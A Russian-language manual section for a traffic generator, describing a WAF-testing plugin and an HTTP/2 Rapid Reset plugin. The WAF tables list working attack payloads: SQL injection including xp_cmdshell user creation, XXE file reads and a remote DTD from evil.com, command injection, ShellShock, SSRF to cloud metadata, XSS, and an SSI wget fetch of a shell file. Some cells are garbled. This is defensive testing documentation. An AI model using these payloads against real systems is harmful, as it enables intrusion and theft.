WAF
WAF – плагин для генерации различного веб-трафика с заданными уязвимостями.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 21;
Табл. 21 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 22;
Табл. 22 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 23;
Табл. 23 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 24;
Табл. 24 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 25;
Табл. 25 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 26;
Табл. 26 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | выберите значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
- WAF модули – готовые вредоносные запросы, состоящие из следующих видов тестирования:
Базовое тестирование WAF, описание приведено в Табл. 27
Табл. 27 – Параметры «Базовое тестирование WAF»
| Название | Описание | Значение |
|---|---|---|
| Broken Access Control | Запрос на запрещенный путь | (GET /admin/delete\_user?id=1) |
| Injection URL (SQLi) | SQL в URL | ?id=1+union+select+1,2,3-- |
| Injection JSON (SOLi) | SQL в JSON | ({“user”: {“$ne”: null}}) |
| Injection (Command) | OS Command | (GET /?id=system(cd /var/jet && make &\> /dev/null);) |
| Insecure Desing | JSON логика | ({“action”: “makeAdmin”, “user”: “guest”}) |
| Security Misconfig | Запрос на .git | (Get /.git/config) |
| Outdated Components | Уязвимый плагин WP | GET /wp-content/plugins/revslider/temp/update\_extract/revslider/ |
| Auth Failures | С подделкой токена | (Cookie: auth\_token=invalid) |
| Data Integrity | Фейковый JS | (GET /cdn/js/app.js?v=999999999) |
| Path Traversal | Обход файлов | (GET /?home=/ ../ ../ ../ ../ ../) |
| SSRF | Запрос в медиаданные AWS | ({“url”: [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)})` |
| XSS: Basic | Базовый XSS | (<script\>alert(xss)</script>) |
| XSS: Obfuscated | Обфусцированный XSS | (\<scr\<script\>ipt\>alert(xss)\</scr\<script\>ipt\>) |
| Bypass: SQLi with URL-encoding | SQLi c URL-энкодингом | ( q=%27%20OR%201 %3D1-) |
| Evasion: Chunked Encoding | Chunked Encoding | (Transfer-Encoging: chunked \+ encoded payloag) |
Продвинутое тестирование WAF
SQLi Advanced, описание приведено в Табл. 28;
Генерирует различные SQL-инъекций: от простых UNION SELECT до обфусцированных и байпас-атак, включая Blind SQLi и Time-based SQLi. Проверяет устойчивость к попыткам обхода фильтрации SQL
Табл. 28 – Параметры « SQLi Advanced»
| Название | Значение |
|---|---|
| Basic UNOIN SELECT | /?id=1+union+select+1,2,3-- |
| Comment-obfuscated UNION | /?id=1+un/\*\*/ion+se/\*\*lect+1,2,3-- |
| Case-mised UNION | /?id=1+UnIoN/\*\*/SeLecT/\*\*/1,2,3-- |
| Double UNION-SELECT bypass | /?id=1+UNunionION+SEselectLECT+1,2,3-- |
| Vertical tab separation | /?id=1+uni%0bon+se%0blect+1,2,3-- |
| Division error + hex payload | /?id=0+div+1+union%23foo\*%2F\*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent\_user |
| Massive hex payload | /?id=1+and+(select%201)=(select%200x414141414141441414141414114141414141414141414141414141414141414141%E2%80%A6.)+union+select+1,2,version(),database(),user(),6,7,8,9,10 |
| MySQL table dump | /?id=1 /\*\!union select\*/ 1,table\_name from /\*\!information\_schema.tables\*/ |
| Hex-encoded table | /?id=1 /\*\!union select\*/ 1,column\_name from /\*\!information\_schema.columns where table\_name \= 0x7573657273\*/ |
| Compact data extraction | /?id=1 /\*\!union select\*/ /\*\!user,password\*/ from /\*\!users\*/ |
| XP_CMDSHELL | /?id=1\\'; EXEC master..xp\_cmdshell "net user zeq3ul UrWaFisShiT /add" \-- |
| LPAD function' | /id/1/\*\*/ |
| Vertical tab LPAD | /id/1%0b |
| Double-encoded UNION | /?id=1%252f%252a\*/union%252f%252a/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users-- |
| Current_user | /?id=0%20div%201%20union%20select%201,2,current\_user |
| MySQL-specific UNION | /?id=1/\*\!UnIoN\*/SeLecT+1,2,3-- |
| Concat table names | /?id=/\*\!UnIoN\*/+/\*\!SeLecT\*/+1,2,concat(/\*\!table\_n%20ame\*/)+FrOm/\*\!information\_schema\*/.tables/\*\!WhErE\*/+/\*\!TaBlE\_sChEMa\*/%20+like+database()-- |
| Query stacking 1 | /?q=select name\&q=password from users |
| Query stacking 2 | /?q=select name,password from users |
| Fragmented query | /?q=select/\*\&q=\*/name& amp;q=password/\*\&q=\*/from/\*\&q=\*/users |
| Version concat | /?p=-1 union /\*\!select\*/ concat\_ws(0x3a,version(),database(),user()) |
| Column enum | /?p=-373867 union select 1,2,column\_name,4,5 from information\_schema.columns/\* |
| Full system info | /?p=-3195 union /\*\!select\*/ 0,1,2,3,4,5,6,7,8,9,concat\_ws(0x3a,@@version,user(),database(),@@version\_compile\_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- |
| Subquery | /?p=( ( SELECT @a ) OR 'b' ) \-- |
| Function bypass | /?p=( (SELECT 'a' ) OR COS ( 'b') ) \-- |
| Version check | /?p=-1' or 1=@@version \-- |
| Char-based version | /?p=3520 AND (version() like char(51,46,50,51,46,53,52)) |
| Limit abuse | /?p=1' union (select 's' from users limit 1,1) |
| Version 2 | /?p=-001 union select 1,2,3,4,5,version(),7,8,9,10 |
| System user | /?p=-1 or 1=(select system\_user)-- |
| Char alert | /?p=1 union select 1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,97,115,104,32,93),3,4,5,6,7/\* |
| Substring | /?p=22 AND SUBSTRING((y()),1,1)=x/\* |
| Benchmark | /?p="+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- |
| Nested benchmark | /?p=)) and 0=benchmark(3000000,MD5(1))%20-- |
| Waitfor delay | /?p=),NULL)%20waitfor%20delay%20'0:0:20'%20-- |
| Nested sleep | /?p=,(select \* from (select(sleep(10)))a) |
| JSON extract | /?p=-1748 OR JSON\_EXTRACT("{""nCvS"": 9981}", "$.nCvS") \= 9981\*7055 |
| JSON array | /?p=123 AND JSON\_ARRAY\_LENGTH("\[\]") \<= 294 |
| JSON keys | /?p=123") OR JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(4024=4024,1))),0x7178717a71)) USING utf8))) AND ("xWuM" LIKE "xWuM |
| Negative float | /?p="union select \-7431.1, name, @aaa from u\_base--w- |
| Float compare | /?p=or 123.22=123.22 |
| Delay syntax | /?p= waitfor delay '00:00:10'-- |
| Nested sleep 2 | /?p=(select(0)from(select(sleep(15)))v)/\*'+(select(0)from(select(sleep(15)))v)+'%22+(select(0)from(select(sleep(15)))v)+%22\*/ |
| JSON extract 2 | /?p=-1134') OR JSON\_EXTRACT('{\\"\\"aKER\\"\\": 9648}', '$.aKER') \= 9648\*7799 AND ('QlYa' LIKE 'QlYa |
| JSON depth | /?p=123) AND 12=12 AND JSON\_DEPTH('{}') \!= 2521 |
| ELT function | /?p=123) AND ELT(5287=5287,5480) AND JSON\_ARRAY\_LENGTH('\[\]') \<= 2333 |
| JSON keys 2 | /?p=123 AND JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(1141=1141,1))),0x7178717a71)) USING utf8))) |
| JSON length | /?p=123) AND (SELECT 'eNOW')='FsQu' AND JSON\_LENGTH('{}') \<= 9779 |
XXE Advanced, описание приведено в Табл. 29
Проверяет уязвимости в XML-парсерах. Используются атаки, способные раскрыть содержимое файлов, инициировать сетевые подключения и обойти ограничения.
Табл. 29 – Параметры «XXE Advanced»
| Название | Значение |
|---|---|
| External entity file read | \<?xml version="1.0"?\>\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;file:///etc/passwd'\>\]\>\<root\>\&test;\</root\> |
| Base64 data scheme attack | \<\!DOCTYPE test \[ \<\!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"\> %init; \]\>\<foo/\> |
| Remote DTD inclusion | \<?xml version="1.0" encoding="ISO-8859-1"?\>\<\!DOCTYPE foo \[\<\!ELEMENT foo ANY \>\<\!ENTITY % xxe SYSTEM "http://evil.com/secret\_pass.txt" \>\]\>\<foo\>\&xxe;\</foo\> |
| Collaborator-based SSRF | \<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;http://h3l9aaaaz81tmq5ztaaaaaa.burpcollaborator.net'\>\]\>\<root\>\&test;\</root\> |
Command Injection Advanced, описание приведено в Табл. 30
Проверяет, можно ли выполнить произвольные команды ОС через параметры запроса. Атаки охватывают как POSIX, так и Windows-окружения.
Табл. 30 – Параметры «Command Injection Advanced»
| Название | Значение |
|---|---|
| SQL-to-OS pivot | /?id=10 and 1=0/(select top 1 table\_name from information\_schema.tables) |
| Obfuscated SQL-to-OS | /?id=10 a%nd 1=0/(se%lect top 1 ta%ble\_name fr%om info%rmation\_schema.tables) |
| XPCMDSHELL User Creation | CODEBLOCK2\_ |
| Direct XPCMDSHELL Call | CODEBLOCK3\_ |
| Bracket Obfuscation | /?xp\[cmdshell |
| Basic Command Chaining | /?a=; ls |
| Newline Injection | /?a=%0a ls |
| Subshell Execution | /?a=$(ls) |
| Single Quote Escape | /?a='ls' |
| Ampersand Separation | /?a=& ls |
| URL-encoded Ampersand | /?a=%26 ls |
| Double Ampersand | /?a=1 && ls |
| URL-encoded Double Ampersand | /?a=%26%26 ls |
| Pipe Separation | /?a= |
| Double Pipe | /?a= |
| Path Fragmentation | /?a= '/b'i'n/l's' |
| Backslash Obfuscation | /?a= /b\\\\in/l\\\\s |
| Variable Substitution | /?a=cat$a /etc\#$a/passwd$a |
File Injection Advanced, описание приведено в Табл. 31
Тестирует возможности внедрения через пути к файлам: php://, file://, zip:// и другие. Цель — получить доступ к конфиденциальным данным или исполняемым файлам.
Табл. 31 – Параметры «File Injection Advanced»
| Название | Значение |
|---|---|
| Basic Directory Traversal | /?file=../bla.txt |
| Encoded Dot-Dot-Slash | /?file=.%./bla.txt |
| PHP Filter Exploit via XML Entity | /?a=\<\!ENTITY%20bin%20PUBLIC%20"php://filter/read=convert.%20base64-encode/resource=/path/to/binary/file"\> |
| Basic File Protocol | /?p=file=/etc/passwd |
| File URI Scheme | ?p=file:///etc/passwd |
| PHP Base64 Filter | /?p=php://filter/convert.base64-encode/resource=../../../../../etc/passwd |
| PHP Zlib Compression Filter | /?p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd |
| Kubernetes Secrets via IPv6 | /?p=file://0000::001/var/run/secrets/kubernetes.io/serviceaccount |
XML Injection Advanced, описание приведено в Табл. 32
Анализирует, как система обрабатывает пользовательские XML-вводы. Может привести к ошибкам парсинга или раскрытию данных.
Табл. 32 – Параметры «XML Injection Advanced»
| Название | Значение |
|---|---|
| XML Parser Logic Bypass | /?test\[1=2test\_ \-- |
Path Traversal Advanced, описание приведено в Табл. 33
Тестирует обработку путей типа ../../etc/passwd и их различных обфускаций. Актуально для выявления доступа к защищённым системным файлам.
Табл. 33 – Параметры «Path Traversal Advanced»
| Название | Значение |
|---|---|
| Windows Path | /?p=.../.../WINDOWS/win.ini |
| Null Byte Termination | /?p=../../../../etc/passwd%00 |
| JPG Null Byte | /?p=../../../../etc/passwd%00jpg |
| Query Param Bypass | /?p=../../../../etc/passwd? |
| Double Encoding | /?p=%252e%252e%252fetc%252fpasswd |
| Double Encoded Null | /?p=%252e%252e%252fetc%252fpasswd%00 |
| Nested Slashes | /?p=....//....//etc/passwd |
| Excessive Slashes | /?p=..///////..////..//////etc/passwd |
| Backslash Bypass | /?p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd |
| URL Encoded Slash | /?p=..%2f..%2f..%2f..%2fetc%2fpasswd |
| Dot Encoding | /?p=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
| Triple Encoding | /?p=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd |
| Backslash Encoding | /?p=..%255c..%255c..%255c..%255cetc%255cpasswd |
| Unicode Bypass | /?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%afpasswd |
| Dot Overload | /?p=%252e%252e%252e%252e%252e%252eetcpasswd' |
| C1 Byte Bypass | /?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd |
UNC Path Traversal Advanced, описание приведено в Табл. 34
Использует пути вида \host\c$\windows\win.ini для тестирования доступа к удалённым или локальным системным ресурсам через нестандартные методы.
Табл. 34 – Параметры « UNC Path Traversal Advanced»
| Название | Значение |
|---|---|
| IPv6 UNC Path | /?p=0::001c$windowswin.ini |
| Registry Access | /?p=::1c$usersdefault\\ntuser.dat |
| Localhost UNC | /?p=localhostc$windowswin.ini |
| Long Path Bypass | /?p=file:////////////////////////c |
RCE Advanced, описание приведено в Табл. 35
Имитация атак на уязвимости типа ShellShock, инъекции PHP/JS, и обход фильтров для выполнения произвольного кода на целевом сервере.
Табл. 35 – Параметры « RCE Advanced»
| Название | Значение |
|---|---|
| ShellShock Exploit | /?p=() { :; }; echo ; /bin/bash \-c 'cat /etc/passwd' |
| PHP Short Tag | /?p=\<?=$\_POST\[00\]?\> |
| Command Concatenation | /?p=; cat /et'c/pa's's'wd |
| IP-based Execution | /?p=cmd=127.0.0.1 && ls /etc |
| String Reversal | /?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn' |
| Variable Obfuscation | /?p=cat$IFS$9${PWD\[a-z\]\*}e\*c${PWD\[a−za-z\]\*}p?ss?? |
GraphQL Advanced, описание приведено в Табл. 36
Автоматически отправляет нестандартные, глубоко вложенные и мутированные запросы GraphQL для выявления пробелов в валидации и контроле типов.
Табл. 36 – Параметры «GraphQL Advanced»
| Название | Значение |
|---|---|
| Basic Schema Extraction | /?query={ \_\_schema { types { name } } } |
| Deep Type Introspection | /?query={\_\_schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on \_\_Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on \_\_InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on \_\_Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} |
XSS Advanced, описание приведено в Табл. 37
Проверка на возможность внедрения JavaScript-кода в веб-страницу. Используются payload'ы для DOM-based, reflected и stored XSS.
Табл. 37 – Параметры «XSS Advanced»
| Название | Значение |
|---|---|
| Body Onload | /?q=\<body onload=alert('test1')\> |
| Mouseover Event | /?q=\<b onmouseover=alert('Wufff\!')\>click me\!\</b\> |
| Image Error | /?q=\<img/src=x/onerror=xxx |
| Wheel Event | /?q="onwheel=alert(111) |
| Prototype Pollution | /?q=?\_\_proto\_\_\[innerHTMLinnerHTML\]=\<img/src/onerror%3dalert(1)\> |
| Closure Base Path | /?q=?\_\_proto\_\_\[CLOSURE_BASE_PATHCLOSURE\_BASE\_PATH\]=data:,alert(1)// |
| Vue.js Exploit | /?q=\_\_proto\_\_\[v−ifv-if\]=\_c.export constructor('alert(1)')() |
| SVG MIME Abuse | /?q=sometext\<svg onload=alert(document.domain)\>?mimeType=text/html |
| SVG Short | /?q='\>\<svg/onload=alertxss\> |
| Exception Handler | /?q="\])}``catch(e){if(\!this.x)alert(document.domain),this.x=1}// |
| Self XSS | /?q="));if(\!self.x)self.x=\!alert(document.domain)}``catch(e){}// |
| Image Error 2 | /?q=\<img src=x onerror=alert(document.domain)\>/all |
| JavaScript Pseudo | /?q=javascript:setInterval('ale'+'rt(document.domain)') |
| Map Confirm | /?q="Onclick="(\[11\].map(confirm)) |
| Base64 Image | /?q=\<img\\nsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\\nonload=alert(1)\> |
| Autofocus Bypass | /?q=\\\\"autofocus=alert(1)// |
| External Entity | /?a=\<\!ENTITY%20pay%20SYSTEM%20"http://example.com/payload.xml"\> |
| Doctype Short | /?a=\<\!DOCTYPE :. SYTEM "http://" |
| Complex Doctype | /?a=\<\!DOCTYPE :\_-\_: SYTEM "http://" |
SSRF Advanced, описание приведено в Табл. 38
Тестирует возможность заставить сервер делать HTTP-запросы от своего имени к внутренним сервисам, metadata API или внешним адресам.
Табл. 38 – Параметры «SSRF Advanced»
| Название | Значение |
|---|---|
| Cloud Metadata | /?q=https://somehost/metadata/instance |
| Telnet IPv4 | /?q=telnet://2852039166/ |
| IPv6 Transition | /?q=http://\[::ffff:a9fe:a9fe\]/ |
| AWS Metadata | /?q=http://\[0:0:0:0:0:ffff:169.254.169.254\]/latest/meta-data/ |
| OpenStack Metadata | /?q=http://169.254.169.254/openstack |
| Octal Encoding | /?q=http://0251.00376.000251.0000376/ |
| Shortened IP | /?q=http://0251.254.169.254 |
| Localhost | /?q=http://0.0.0.0:80 |
| Gopher Protocol | /?q=gopher://0.0.0.0:443 |
| SSH Port | /?q=http://0.0.0.0:22 |
| FTP IPv4 | /?q=ftp://3232235521/ |
| Short Port | /?q=http://0:8080/ |
| Minimal URL | /?q=http://0/ |
| Link-Local | /?q=http://169.254.169.254 |
| IMAP | /?q=imap://2130706433 |
| Wildcard IPv6 | /?q=http://\[::::\] |
| Compressed IPv6 | /?q=http://0000::1 |
| Unicode Gopher | /?q=gopher://%EF%BD%9A%EF%BD%9A%EF%BD%9A |
| TFTP Unicode | /?q=tftp://%F0%9D%9F%8E%F0%9D%9F%8E%F0%9D%9F%8E |
SSI/SSTI Advanced, описание приведено в Табл. 39
Атаки на шаблонизаторы (Jinja2, Freemarker и др.) и SSI-инструкции. Цель — выполнить команды или прочитать файлы через шаблонную логику.
Табл. 39 – Параметры «SSI/SSTI Advanced»
| Название | Значение |
|---|---|
| SSI Command | /?q=\<\!--\#exec cmd="wget http://some\_host/shell.txt |
| SSI List Dir | /?q=\<\!--\#exec cmd="ls" \--\> |
| SSI Windows Dir | /?q=\<\!--\#exec cmd="dir" \--\> |
| Java Resource | /?q=${class.getResource("./test/test.res").getContent()} |
| Twig RCE | /?q={{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}} |
| Freemarker RCE | /?q=\<\#assign ex \= "freemarker.template.utility.Execute"?new()\>${ ex("id")} |
| Python Attribute | /?q={{request |
-
Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указаны в Табл. 40
Табл. 40 – Параметры «Сессии» | Название | Описание | Значение | | ----- | ----- | ----- | | Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение | | Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение | | Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение | | Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение | | Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить | | Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение | | Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 41.
Табл. 41 – Параметр «Длительность» | Название | Описание | Значение | | ----- | ----- | ----- | | Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
HTTP/2 Rapid Reset
HTTP/2 Rapid Reset – плагин для генерации различного веб-трафика с механизмом в протоколе HTTP/2, который позволяет быстро сбрасывать соединения.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 42;
Табл. 42 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 43;
Табл. 43 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 44;
Табл. 44 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 45;
Табл. 45 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 46;
Табл. 46 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | выберите значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заголовка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | выберите из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
